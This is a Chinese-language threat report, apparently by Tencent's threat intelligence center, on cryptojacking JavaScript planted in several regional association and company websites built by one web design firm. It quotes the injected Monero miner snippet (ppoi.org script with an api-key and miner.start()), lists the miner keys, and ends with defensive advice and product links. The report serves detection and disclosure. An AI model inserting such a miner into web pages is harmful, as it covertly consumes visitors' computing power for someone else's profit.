一、概述

腾讯御见威胁情报中心发现陕西某能源协会网站被植入JS网页挖矿木马，进一步找到该网站的运营机构西安长庚网络科技有限公司，发现该公司设计的多个网站均存在植入JS网页挖矿木马的情况。被植入挖矿木马的网站包括陕西某供水协会、陕西某能源协会、西安某环保设备公司、西安某中水公司等。

用户在访问该这些网站时会导致浏览器自动运行网页挖矿程序挖门罗币，从而会导致电脑CPU大量被占用，系统变得卡慢。从该网站设计展示的案例网站的高中招率来看，可能还有更多网站被植入挖矿程序。

网页被植入挖矿代码，不排除有人蓄意利用这些企业网站牟取私利，亦可能是该网站已被黑客入侵的标志。

二、详细分析

1、陕西某能源协会网站被植入JS挖矿程序

被植入的挖矿代码：

<script src="https://ppoi.org/lib/projectpoi.min.js"></script>

<script>

         var miner = new ProjectPoi.User('S6hIRVPtzta7WWvGifmlC5U6', 'john-doe', {

         threads: 2,

         autoThreads: false,

         throttle: 0.8,

         forceASMJS: false

});

         miner.start();

</script></div>

2、使用的ppoi.org是国内仿照coinhive.com开发的门罗币JS挖矿服务，挖矿时用户名为john-doe。使用api-key 是：S6hIRVPtzta7WWvGifmlC5U6（收益归属）。

3、网站的运营单位显示为“西安我想网络科技有限公司”

点击该公司名的链接跳转到了“西安长庚网络科技有限公司”的网站。

4、从西安长庚网络科技的网页介绍可以看到其服务包括网站定制、软件开发、家装设计等，而检查其展示的真实案例网站，发现包括陕西某能源协会在内的多个网站均被植入了网页挖矿木马。

被植入挖矿程序的网站：陕西某供水协会、陕西某能源协会、西安某环保设备公司、西安某中水公司。

5、这些网站植入的挖矿代码均采用hxxps://ppoi.org/lib/projectpoi.min.js的挖矿服务，使用了相同的用户名john-doe，api-key有两个网站相同（攻击者使用该值获取收益），基本确定该挖矿攻击为同一人所为。

挖矿使用api-key：

'v8zFmAKMLPlykKMFhiU9wPKY'、

'DmQ20kgIbVhplghXorH5XTF0'、

'S6hIRVPtzta7WWvGifmlC5U6'

三、网页挖矿木马威胁严重

据腾讯御威胁情报中心后台数据统计，网页挖矿木马已相当常见。由于存在安全漏洞或疏于管理的企业网站较多，黑客入侵门槛较低，服务器管理员可能很长时间都不清楚网站已被入侵。

只要访客打开被挂马的网页，浏览器就会开始挖矿。虽然这些网站的访问量本身并不高，对控制网站挖矿的人来说，0成本挖矿，积少成多，挂马的时间越长，收益也就越高。

监控数据表明，网页挖矿十分活跃

使用矿池占比仍然以coinhive.com的比例最高，而load.jsecoin.com的占比上升至第二位，超过了原来的authedmine.com及coin-hive.com。

可以看到挖矿域名load.jsecoin.com的访问热度近期有升高趋势，且在2018.6.30左右达到过一个高峰。

四、安全建议

1.使用腾讯御知网络空间风险雷达（检测地址：https://s.tencent.com/product/yuzhi/index.html）进行风险扫描和站点监控，及时修复Web服务器建站系统安全漏洞。腾讯御知目前已支持网页恶意挖矿检测。

2. 网站管理员可使用腾讯云网站管家智能防护平台，其具备Web入侵防护，0Day漏洞补丁修复等多纬度防御策略，可全面保护网站系统。下载地址：https://cloud.tencent.com/product/waf

3. 普通网民可使用腾讯电脑管家拦截含挖矿木马的网页。